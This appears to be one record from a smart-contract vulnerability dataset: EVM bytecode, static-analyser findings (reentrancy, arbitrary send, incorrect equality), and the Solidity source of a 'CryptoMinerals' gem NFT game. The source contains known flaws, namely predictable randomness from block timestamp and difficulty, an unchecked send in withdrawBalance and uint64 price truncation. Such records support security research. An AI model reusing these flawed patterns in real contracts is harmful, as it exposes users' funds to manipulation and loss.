601f19601f82011682018060405250810190610e489190611cfb565b600980546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610e788161086d565b600080610e8d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ef5573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f1a9190611d18565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610f73573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d39190611d46565b6001600160a01b038316610ff95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108b2565b6001600160a01b03821661105a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108b2565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161580156110fd57506001600160a01b03821660009081526005602052604090205460ff16155b801561111957503360009081526005602052604090205460ff16155b61112257600080fd5b6001600160a01b0383166111865760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108b2565b6001600160a01b0382166111e85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108b2565b6000811161124a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108b2565b600080546001600160a01b0385811691161480159061127757506000546001600160a01b03848116911614155b15611628576009546001600160a01b0385811691161480156112a757506007546001600160a01b03848116911614155b80156112cc57506001600160a01b03831660009081526004602052604090205460ff16155b1561149e5760105460ff166113235760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016108b2565b600f54421415611351576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600d548211156113a35760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016108b2565b600e546113af8461086d565b6113b99084611d63565b11156114175760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016108b2565b6001600160a01b03831660009081526006602052604090206001015460ff1661147f576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff161580156114b8575060105460ff165b80156114d257506009546001600160a01b03858116911614155b15611628576114e242600a611d63565b6001600160a01b038516600090815260066020526040902054106115545760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016108b2565b600061155f3061086d565b905080156116115760105462010000900460ff16156115e257600c5460095460649190611594906001600160a01b031661086d565b61159e9190611d7b565b6115a89190611d9a565b8111156115e257600c54600954606491906115cb906001600160a01b031661086d565b6115d59190611d7b565b6115df9190611d9a565b90505b60006115ef600683611d9a565b90506115fb8183611c7e565b915061160681611835565b61160f826116c1565b505b4780156116215761162147611687565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061166a57506001600160a01b03841660009081526004602052604090205460ff165b15611673575060005b6116808585858486611865565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107d3573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061170557611705611c95565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561175e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117829190611cfb565b8160018151811061179557611795611c95565b6001600160a01b0392831660209182029290920101526007546117bb9130911684610f97565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906117f4908590600090869030904290600401611dbc565b600060405180830381600087803b15801561180e57600080fd5b505af1158015611822573d6000803e3d6000fd5b50506010805461ff001916905550505050565b6010805461ff0019166101001790558015611857576118573061dead836110bb565b506010805461ff0019169055565b60006118718383611887565b905061187f868686846118ab565b505050505050565b60008083156118a457821561189f5750600a546118a4565b50600b545b9392505050565b6000806118b88484611988565b6001600160a01b03881660009081526002602052604090205491935091506118e1908590611c7e565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611911908390611d63565b6001600160a01b038616600090815260026020526040902055611933816119bc565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161197891815260200190565b60405180910390a3505050505050565b6000808060646119988587611d7b565b6119a29190611d9a565b905060006119b08287611c7e565b96919550909350505050565b306000908152600260205260409020546119d7908290611d63565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611a17578581018301518582016040015282016119fb565b81811115611a29576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461086a57600080fd5b8035611a5f81611a3f565b919050565b60008060408385031215611a7757600080fd5b8235611a8281611a3f565b946020939093013593505050565b60008060408385031215611aa357600080fd5b50508035926020909101359150565b600080600060608486031215611ac757600080fd5b8335611ad281611a3f565b92506020840135611ae281611a3f565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b1c57600080fd5b823567ffffffffffffffff80821115611b3457600080fd5b818501915085601f830112611b4857600080fd5b813581811115611b5a57611b5a611af3565b8060051b604051601f19603f83011681018181108582111715611b7f57611b7f611af3565b604052918252848201925083810185019188831115611b9d57600080fd5b938501935b82851015611bc257611bb385611a54565b84529385019392850192611ba2565b98975050505050505050565b600060208284031215611be057600080fd5b81356118a481611a3f565b600060208284031215611bfd57600080fd5b5035919050565b801515811461086a57600080fd5b600060208284031215611c2457600080fd5b81356118a481611c04565b60008060408385031215611c4257600080fd5b8235611c4d81611a3f565b91506020830135611c5d81611a3f565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611c9057611c90611c68565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611cbf57611cbf611c68565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d0d57600080fd5b81516118a481611a3f565b600080600060608486031215611d2d57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611d5857600080fd5b81516118a481611c04565b60008219821115611d7657611d76611c68565b500190565b6000816000190483118215151615611d9557611d95611c68565b500290565b600082611db757634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e0c5784516001600160a01b031683529383019391830191600101611de7565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220127f26d54439573bbb2dbee78bea4c11d44085497ef51ce2856f98adac972f4364736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,484 |
0xb3b1f75b8b6c3c0f941bff34241a102454832943
|
pragma solidity 0.4.24;
/**
* @title ERC-721 Non-Fungible Token Standard
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721 {
// Required methods
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
// Events
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
}
contract AccessControl {
event ContractUpgrade(address newContract);
address public addressDev;
address public addressFin;
address public addressOps;
modifier onlyDeveloper() {
require(msg.sender == addressDev);
_;
}
modifier onlyFinance() {
require(msg.sender == addressFin);
_;
}
modifier onlyOperation() {
require(msg.sender == addressOps);
_;
}
modifier onlyTeamMembers() {
require(
msg.sender == addressDev ||
msg.sender == addressFin ||
msg.sender == addressOps
);
_;
}
function setDeveloper(address _newDeveloper) external onlyDeveloper {
require(_newDeveloper != address(0));
addressDev = _newDeveloper;
}
function setFinance(address _newFinance) external onlyDeveloper {
require(_newFinance != address(0));
addressFin = _newFinance;
}
function setOperation(address _newOperation) external onlyDeveloper {
require(_newOperation != address(0));
addressOps = _newOperation;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// Basic mineral operations and counters, defines the constructor
contract MineralBase is AccessControl, Pausable {
bool public isPresale = true;
uint16 public discounts = 10000;
uint32 constant TOTAL_SUPPLY = 8888888;
uint32 public oresLeft;
uint32 gemsLeft;
// Price of ORE (50 pieces in presale, only 1 afterwards)
uint64 public orePrice = 1e16;
mapping(address => uint) internal ownerOreCount;
// Constructor
function MineralBase() public {
// Assign ownership to the creator
owner = msg.sender;
addressDev = owner;
addressFin = owner;
addressOps = owner;
// Initializing counters
oresLeft = TOTAL_SUPPLY;
gemsLeft = TOTAL_SUPPLY;
// Transfering ORES to the team
ownerOreCount[msg.sender] += oresLeft / 2;
oresLeft = oresLeft / 2;
}
function balanceOfOre(address _owner) public view returns (uint256 _balance) {
return ownerOreCount[_owner];
}
function sendOre(address _recipient, uint _amount) external payable {
require(balanceOfOre(msg.sender) >= _amount);
ownerOreCount[msg.sender] -= _amount;
ownerOreCount[_recipient] += _amount;
}
function endPresale() onlyTeamMembers external {
isPresale = false;
discounts = 0;
}
}
// The Factory holds the defined counts and provides an exclusive operations
contract MineralFactory is MineralBase {
uint8 constant MODULUS = 100;
uint8 constant CATEGORY_COUNT = 50;
uint64 constant EXTRACT_PRICE = 1e16;
uint32[] mineralCounts = [
8880, 9768, 10744, 11819, 13001,
19304, 21234, 23358, 25694, 28263,
28956, 31852, 35037, 38541, 42395,
43434, 47778, 52556, 57811, 63592,
65152, 71667, 78834, 86717, 95389,
97728, 107501, 118251, 130076, 143084,
146592, 161251, 177377, 195114, 214626,
219888, 241877, 266065, 292672, 321939,
329833, 362816, 399098, 439008, 482909,
494750, 544225, 598647, 658512, 724385];
uint64[] polishingPrice = [
200e16, 180e16, 160e16, 130e16, 100e16,
80e16, 60e16, 40e16, 20e16, 5e16];
mapping(address => uint) internal ownerGemCount;
mapping (uint256 => address) public gemIndexToOwner;
mapping (uint256 => address) public gemIndexToApproved;
Gemstone[] public gemstones;
struct Gemstone {
uint category;
string name;
uint256 colour;
uint64 extractionTime;
uint64 polishedTime;
uint256 price;
}
function _getRandomMineralId() private view returns (uint32) {
return uint32(uint256(keccak256(block.timestamp, block.difficulty))%oresLeft);
}
function _getPolishingPrice(uint _category) private view returns (uint) {
return polishingPrice[_category / 5];
}
function _generateRandomHash(string _str) private view returns (uint) {
uint rand = uint(keccak256(_str));
return rand % MODULUS;
}
function _getCategoryIdx(uint position) private view returns (uint8) {
uint32 tempSum = 0;
//Chosen category index, 255 for no category selected - when we are out of minerals
uint8 chosenIdx = 255;
for (uint8 i = 0; i < mineralCounts.length; i++) {
uint32 value = mineralCounts[i];
tempSum += value;
if (tempSum > position) {
//Mineral counts is 50, so this is safe to do
chosenIdx = i;
break;
}
}
return chosenIdx;
}
function extractOre(string _name) external payable returns (uint8, uint256) {
require(gemsLeft > 0);
require(msg.value >= EXTRACT_PRICE);
require(ownerOreCount[msg.sender] > 0);
uint32 randomNumber = _getRandomMineralId();
uint8 categoryIdx = _getCategoryIdx(randomNumber);
require(categoryIdx < CATEGORY_COUNT);
//Decrease the mineral count for the category
mineralCounts[categoryIdx] = mineralCounts[categoryIdx] - 1;
//Decrease total mineral count
gemsLeft = gemsLeft - 1;
Gemstone memory _stone = Gemstone({
category : categoryIdx,
name : _name,
colour : _generateRandomHash(_name),
extractionTime : uint64(block.timestamp),
polishedTime : 0,
price : 0
});
uint256 newStoneId = gemstones.push(_stone) - 1;
ownerOreCount[msg.sender]--;
ownerGemCount[msg.sender]++;
gemIndexToOwner[newStoneId] = msg.sender;
return (categoryIdx, _stone.colour);
}
function polishRoughStone(uint256 _gemId) external payable {
uint gainedWei = msg.value;
require(gemIndexToOwner[_gemId] == msg.sender);
Gemstone storage gem = gemstones[_gemId];
require(gem.polishedTime == 0);
require(gainedWei >= _getPolishingPrice(gem.category));
gem.polishedTime = uint64(block.timestamp);
}
}
// The Ownership contract makes sure the requirements of the NFT are met
contract MineralOwnership is MineralFactory, ERC721 {
string public constant name = "CryptoMinerals";
string public constant symbol = "GEM";
function _owns(address _claimant, uint256 _gemId) internal view returns (bool) {
return gemIndexToOwner[_gemId] == _claimant;
}
// Assigns ownership of a specific gem to an address.
function _transfer(address _from, address _to, uint256 _gemId) internal {
require(_from != address(0));
require(_to != address(0));
ownerGemCount[_from]--;
ownerGemCount[_to]++;
gemIndexToOwner[_gemId] = _to;
Transfer(_from, _to, _gemId);
}
function _approvedFor(address _claimant, uint256 _gemId) internal view returns (bool) {
return gemIndexToApproved[_gemId] == _claimant;
}
function _approve(uint256 _gemId, address _approved) internal {
gemIndexToApproved[_gemId] = _approved;
}
// Required for ERC-721 compliance
function balanceOf(address _owner) public view returns (uint256 count) {
return ownerGemCount[_owner];
}
// Required for ERC-721 compliance.
function transfer(address _to, uint256 _gemId) external whenNotPaused {
require(_to != address(0));
require(_to != address(this));
require(_owns(msg.sender, _gemId));
_transfer(msg.sender, _to, _gemId);
}
// Required for ERC-721 compliance.
function approve(address _to, uint256 _gemId) external whenNotPaused {
require(_owns(msg.sender, _gemId));
_approve(_gemId, _to);
Approval(msg.sender, _to, _gemId);
}
// Required for ERC-721 compliance.
function transferFrom(address _from, address _to, uint256 _gemId) external whenNotPaused {
require(_to != address(0));
require(_to != address(this));
require(_approvedFor(msg.sender, _gemId));
require(_owns(_from, _gemId));
_transfer(_from, _to, _gemId);
}
// Required for ERC-721 compliance.
function totalSupply() public view returns (uint) {
return TOTAL_SUPPLY - gemsLeft;
}
// Required for ERC-721 compliance.
function ownerOf(uint256 _gemId) external view returns (address owner) {
owner = gemIndexToOwner[_gemId];
require(owner != address(0));
}
// Required for ERC-721 compliance.
function implementsERC721() public view returns (bool implementsERC721) {
return true;
}
function gemsOfOwner(address _owner) external view returns(uint256[] ownerGems) {
uint256 gemCount = balanceOf(_owner);
if (gemCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](gemCount);
uint256 totalGems = totalSupply();
uint256 resultIndex = 0;
uint256 gemId;
for (gemId = 0; gemId <= totalGems; gemId++) {
if (gemIndexToOwner[gemId] == _owner) {
result[resultIndex] = gemId;
resultIndex++;
}
}
return result;
}
}
}
// This contract introduces functionalities for the basic trading
contract MineralMarket is MineralOwnership {
function buyOre() external payable {
require(msg.sender != address(0));
require(msg.value >= orePrice);
require(oresLeft > 0);
uint8 amount;
if (isPresale) {
require(discounts > 0);
amount = 50;
discounts--;
} else {
amount = 1;
}
oresLeft -= amount;
ownerOreCount[msg.sender] += amount;
}
function buyGem(uint _gemId) external payable {
uint gainedWei = msg.value;
require(msg.sender != address(0));
require(_gemId < gemstones.length);
require(gemIndexToOwner[_gemId] == address(this));
Gemstone storage gem = gemstones[_gemId];
require(gainedWei >= gem.price);
_transfer(address(this), msg.sender, _gemId);
}
function mintGem(uint _categoryIdx, string _name, uint256 _colour, bool _polished, uint256 _price) onlyTeamMembers external {
require(gemsLeft > 0);
require(_categoryIdx < CATEGORY_COUNT);
//Decrease the mineral count for the category if not PROMO gem
if (_categoryIdx < CATEGORY_COUNT){
mineralCounts[_categoryIdx] = mineralCounts[_categoryIdx] - 1;
}
uint64 stamp = 0;
if (_polished) {
stamp = uint64(block.timestamp);
}
//Decrease counters
gemsLeft = gemsLeft - 1;
oresLeft--;
Gemstone memory _stone = Gemstone({
category : _categoryIdx,
name : _name,
colour : _colour,
extractionTime : uint64(block.timestamp),
polishedTime : stamp,
price : _price
});
uint256 newStoneId = gemstones.push(_stone) - 1;
ownerGemCount[address(this)]++;
gemIndexToOwner[newStoneId] = address(this);
}
function setPrice(uint256 _gemId, uint256 _price) onlyTeamMembers external {
require(_gemId < gemstones.length);
Gemstone storage gem = gemstones[_gemId];
gem.price = uint64(_price);
}
function setMyPrice(uint256 _gemId, uint256 _price) external {
require(_gemId < gemstones.length);
require(gemIndexToOwner[_gemId] == msg.sender);
Gemstone storage gem = gemstones[_gemId];
gem.price = uint64(_price);
}
function withdrawBalance() onlyTeamMembers external {
bool res = owner.send(address(this).balance);
}
}
|
0x6080604052600436106101c95763ffffffff60e060020a6000350416630213856381146101ce57806303d76547146101d857806306fdde031461020957806306fde29d1461029357806309553b28146102ab578063095ea7b3146102c05780630f1833bb146102e45780631051db34146103a357806318160ddd146103cc57806323b872dd146103f357806329ee15801461041d578063319dac48146104385780633f4ba83a1461044357806348b49fa7146104585780634cf8dce7146104635780635c975abb146104845780635fd8c710146104995780636352211e146104ae5780636fcbb546146104c657806370a08231146104f657806375af65d11461051757806376c2c0aa146105435780638456cb59146105715780638da5cb5b1461058657806395364a841461059b57806395d89b41146105b05780639aa93224146105c55780639b2d2cbd146105dc5780639b8d30641461060e578063a43be57b1461062f578063a9059cbb14610644578063aee2988d14610668578063bc8d7a511461067d578063c0c8d66a146106ee578063cd575c3214610706578063f2fde38b14610735578063f7d9757714610756578063f7f3815c14610771578063ff70fa4914610792575b600080fd5b6101d66107b3565b005b3480156101e457600080fd5b506101ed610900565b60408051600160a060020a039092168252519081900360200190f35b34801561021557600080fd5b5061021e61090f565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610258578181015183820152602001610240565b50505050905090810190601f1680156102855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561029f57600080fd5b506101ed600435610946565b3480156102b757600080fd5b506101ed610961565b3480156102cc57600080fd5b506101d6600160a060020a0360043516602435610970565b3480156102f057600080fd5b506102fc6004356109f2565b6040805187815290810185905267ffffffffffffffff80851660608301528316608082015260a0810182905260c06020808301828152885192840192909252875160e084019189019080838360005b8381101561036357818101518382015260200161034b565b50505050905090810190601f1680156103905780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390f35b3480156103af57600080fd5b506103b8610aec565b604080519115158252519081900360200190f35b3480156103d857600080fd5b506103e1610af2565b60408051918252519081900360200190f35b3480156103ff57600080fd5b506101d6600160a060020a0360043581169060243516604435610b0d565b34801561042957600080fd5b506101d6600435602435610b89565b6101d6600435610bf3565b34801561044f57600080fd5b506101d6610cab565b6101d6600435610d23565b34801561046f57600080fd5b506103e1600160a060020a0360043516610d9f565b34801561049057600080fd5b506103b8610dbe565b3480156104a557600080fd5b506101d6610dce565b3480156104ba57600080fd5b506101ed600435610e3e565b6104d96004803560248101910135610e62565b6040805160ff909316835260208301919091528051918290030190f35b34801561050257600080fd5b506103e1600160a060020a0360043516611191565b34801561052357600080fd5b5061052c6111ac565b6040805161ffff9092168252519081900360200190f35b34801561054f57600080fd5b506105586111d0565b6040805163ffffffff9092168252519081900360200190f35b34801561057d57600080fd5b506101d66111e3565b34801561059257600080fd5b506101ed611260565b3480156105a757600080fd5b506103b861126f565b3480156105bc57600080fd5b5061021e611291565b6101d6600160a060020a03600435166024356112c8565b3480156105e857600080fd5b506105f161130f565b6040805167ffffffffffffffff9092168252519081900360200190f35b34801561061a57600080fd5b506101d6600160a060020a036004351661131f565b34801561063b57600080fd5b506101d661136d565b34801561065057600080fd5b506101d6600160a060020a03600435166024356113d3565b34801561067457600080fd5b506101ed611439565b34801561068957600080fd5b5061069e600160a060020a0360043516611448565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156106da5781810151838201526020016106c2565b505050509050019250505060405180910390f35b3480156106fa57600080fd5b506101ed60043561151a565b34801561071257600080fd5b506101d66004803590602480359081019101356044356064351515608435611535565b34801561074157600080fd5b506101d6600160a060020a036004351661184a565b34801561076257600080fd5b506101d66004356024356118d2565b34801561077d57600080fd5b506101d6600160a060020a0360043516611924565b34801561079e57600080fd5b506101d6600160a060020a0360043516611972565b60003315156107c157600080fd5b60045467ffffffffffffffff163410156107da57600080fd5b600354600060c060020a90910463ffffffff16116107f757600080fd5b6003547501000000000000000000000000000000000000000000900460ff161561089e57600354600076010000000000000000000000000000000000000000000090910461ffff161161084957600080fd5b506003805460001961ffff760100000000000000000000000000000000000000000000808404821692909201160277ffff000000000000000000000000000000000000000000001990911617905560326108a2565b5060015b6003805460ff90921663ffffffff60c060020a8085048216839003909116027bffffffff0000000000000000000000000000000000000000000000001990931692909217905533600090815260056020526040902080549091019055565b600154600160a060020a031681565b60408051808201909152600e81527f43727970746f4d696e6572616c73000000000000000000000000000000000000602082015281565b600a60205260009081526040902054600160a060020a031681565b600054600160a060020a031681565b60035460a060020a900460ff161561098757600080fd5b61099133826119c0565b151561099c57600080fd5b6109a681836119e0565b60408051338152600160a060020a038416602082015280820183905290517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259181900360600190a15050565b600b805482908110610a0057fe5b9060005260206000209060050201600091509050806000015490806001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ab25780601f10610a8757610100808354040283529160200191610ab2565b820191906000526020600020905b815481529060010190602001808311610a9557829003601f168201915b505050600284015460038501546004909501549394909367ffffffffffffffff808316945068010000000000000000909204909116915086565b60015b90565b60035463ffffffff60e060020a90910481166287a238031690565b60035460a060020a900460ff1615610b2457600080fd5b600160a060020a0382161515610b3957600080fd5b600160a060020a038216301415610b4f57600080fd5b610b593382611a0e565b1515610b6457600080fd5b610b6e83826119c0565b1515610b7957600080fd5b610b84838383611a2e565b505050565b600b546000908310610b9a57600080fd5b600083815260096020526040902054600160a060020a03163314610bbd57600080fd5b600b805484908110610bcb57fe5b906000526020600020906005020190508167ffffffffffffffff168160040181905550505050565b600081815260096020526040812054349190600160a060020a03163314610c1957600080fd5b600b805484908110610c2757fe5b60009182526020909120600590910201600381015490915068010000000000000000900467ffffffffffffffff1615610c5f57600080fd5b8054610c6a90611ae6565b821015610c7657600080fd5b60030180546fffffffffffffffff00000000000000001916680100000000000000004267ffffffffffffffff16021790555050565b600354600160a060020a03163314610cc257600080fd5b60035460a060020a900460ff161515610cda57600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b346000331515610d3257600080fd5b600b548310610d4057600080fd5b600083815260096020526040902054600160a060020a03163014610d6357600080fd5b600b805484908110610d7157fe5b9060005260206000209060050201905080600401548210151515610d9457600080fd5b610b84303385611a2e565b600160a060020a0381166000908152600560205260409020545b919050565b60035460a060020a900460ff1681565b60008054600160a060020a0316331480610df25750600154600160a060020a031633145b80610e075750600254600160a060020a031633145b1515610e1257600080fd5b600354604051600160a060020a0390911690303180156108fc02916000818181858888f1505050505050565b600081815260096020526040902054600160a060020a0316801515610db957600080fd5b600080600080610e70611c55565b60035460009060e060020a900463ffffffff168110610e8e57600080fd5b662386f26fc10000341015610ea257600080fd5b3360009081526005602052604081205411610ebc57600080fd5b610ec4611b28565b9350610ed58463ffffffff16611b63565b9250603260ff841610610ee757600080fd5b600160068460ff16815481101515610efb57fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff160360068460ff16815481101515610f3457fe5b90600052602060002090600891828204019190066004026101000a81548163ffffffff021916908363ffffffff16021790555060016003601c9054906101000a900463ffffffff16036003601c6101000a81548163ffffffff021916908363ffffffff16021790555060c0604051908101604052808460ff16815260200189898080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505081526020016110238a8a8080601f01602080910402602001604051908101604052809392919081815260200183838082843750611be1945050505050565b81524267ffffffffffffffff166020808301919091526000604083018190526060909201829052600b805460018082018084559290945284517f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db9600590920291820190815585840151805196985094959294889491936110ca937f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01dba01929190910190611ca0565b5060408281015160028301556060830151600383018054608086015167ffffffffffffffff1990911667ffffffffffffffff938416176fffffffffffffffff0000000000000000191668010000000000000000939091169290920291909117905560a09092015160049091015533600081815260056020908152838220805460001901905560088152838220805460010190559490930383526009909352908190208054600160a060020a0319169092179091559190910151919791965090945050505050565b600160a060020a031660009081526008602052604090205490565b600354760100000000000000000000000000000000000000000000900461ffff1681565b60035460c060020a900463ffffffff1681565b600354600160a060020a031633146111fa57600080fd5b60035460a060020a900460ff161561121157600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b6003547501000000000000000000000000000000000000000000900460ff1681565b60408051808201909152600381527f47454d0000000000000000000000000000000000000000000000000000000000602082015281565b806112d233610d9f565b10156112dd57600080fd5b3360009081526005602052604080822080548490039055600160a060020a039390931681529190912080549091019055565b60045467ffffffffffffffff1681565b600054600160a060020a0316331461133657600080fd5b600160a060020a038116151561134b57600080fd5b60018054600160a060020a031916600160a060020a0392909216919091179055565b600054600160a060020a03163314806113905750600154600160a060020a031633145b806113a55750600254600160a060020a031633145b15156113b057600080fd5b6003805477ffffff00000000000000000000000000000000000000000019169055565b60035460a060020a900460ff16156113ea57600080fd5b600160a060020a03821615156113ff57600080fd5b600160a060020a03821630141561141557600080fd5b61141f33826119c0565b151561142a57600080fd5b611435338383611a2e565b5050565b600254600160a060020a031681565b606060006060600080600061145c87611191565b945084151561147b576040805160008152602081019091529550611510565b846040519080825280602002602001820160405280156114a5578160200160208202803883390190505b5093506114b0610af2565b925060009150600090505b82811161150c57600081815260096020526040902054600160a060020a0388811691161415611504578084838151811015156114f357fe5b602090810290910101526001909101905b6001016114bb565b8395505b5050505050919050565b600960205260009081526040902054600160a060020a031681565b600061153f611c55565b60008054600160a060020a03163314806115635750600154600160a060020a031633145b806115785750600254600160a060020a031633145b151561158357600080fd5b600354600060e060020a90910463ffffffff16116115a057600080fd5b603289106115ad57600080fd5b603289101561163157600160068a8154811015156115c757fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff160360068a8154811015156115fd57fe5b90600052602060002090600891828204019190066004026101000a81548163ffffffff021916908363ffffffff1602179055505b60009250841561163f574292505b6003805460c060020a60001963ffffffff60e060020a808504821683018216027bffffffffffffffffffffffffffffffffffffffffffffffffffffffff909416939093178281048416909101909216027bffffffff000000000000000000000000000000000000000000000000199091161790556040805160c0810182528a815281516020601f8b01819004810282018101909352898152909180830191908b908b9081908401838280828437505050928452505050602080820189905267ffffffffffffffff4281166040840152861660608301526080909101869052600b80546001818101808455600093909352845160059092027f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db9810192835585850151805196985091959394889461179d937f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01dba9093019290910190611ca0565b5060408281015160028301556060830151600383018054608086015167ffffffffffffffff90811668010000000000000000026fffffffffffffffff0000000000000000199190941667ffffffffffffffff19909216919091171691909117905560a0909201516004909101553060008181526008602090815283822080546001019055949093038352600990935290208054600160a060020a0319169091179055505050505050505050565b600354600160a060020a0316331461186157600080fd5b600160a060020a038116151561187657600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a360038054600160a060020a031916600160a060020a0392909216919091179055565b60008054600160a060020a03163314806118f65750600154600160a060020a031633145b8061190b5750600254600160a060020a031633145b151561191657600080fd5b600b548310610bbd57600080fd5b600054600160a060020a0316331461193b57600080fd5b600160a060020a038116151561195057600080fd5b60028054600160a060020a031916600160a060020a0392909216919091179055565b600054600160a060020a0316331461198957600080fd5b600160a060020a038116151561199e57600080fd5b60008054600160a060020a031916600160a060020a0392909216919091179055565b600090815260096020526040902054600160a060020a0391821691161490565b6000918252600a60205260409091208054600160a060020a031916600160a060020a03909216919091179055565b6000908152600a6020526040902054600160a060020a0391821691161490565b600160a060020a0383161515611a4357600080fd5b600160a060020a0382161515611a5857600080fd5b600160a060020a03808416600081815260086020908152604080832080546000190190559386168083528483208054600101905585835260098252918490208054600160a060020a03191683179055835192835282015280820183905290517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360600190a1505050565b6000600760058304815481101515611afa57fe5b6000918252602090912060048204015460039091166008026101000a900467ffffffffffffffff1692915050565b60035460408051428152446020820152815190819003909101902060009160c060020a900463ffffffff1690811515611b5d57fe5b06905090565b60008060ff81805b60065460ff83161015611bd7576006805460ff8416908110611b8957fe5b90600052602060002090600891828204019190066004029054906101000a900463ffffffff1690508084019350858463ffffffff161115611bcc57819250611bd7565b600190910190611b6b565b5090949350505050565b600080826040518082805190602001908083835b60208310611c145780518252601f199092019160209182019101611bf5565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209350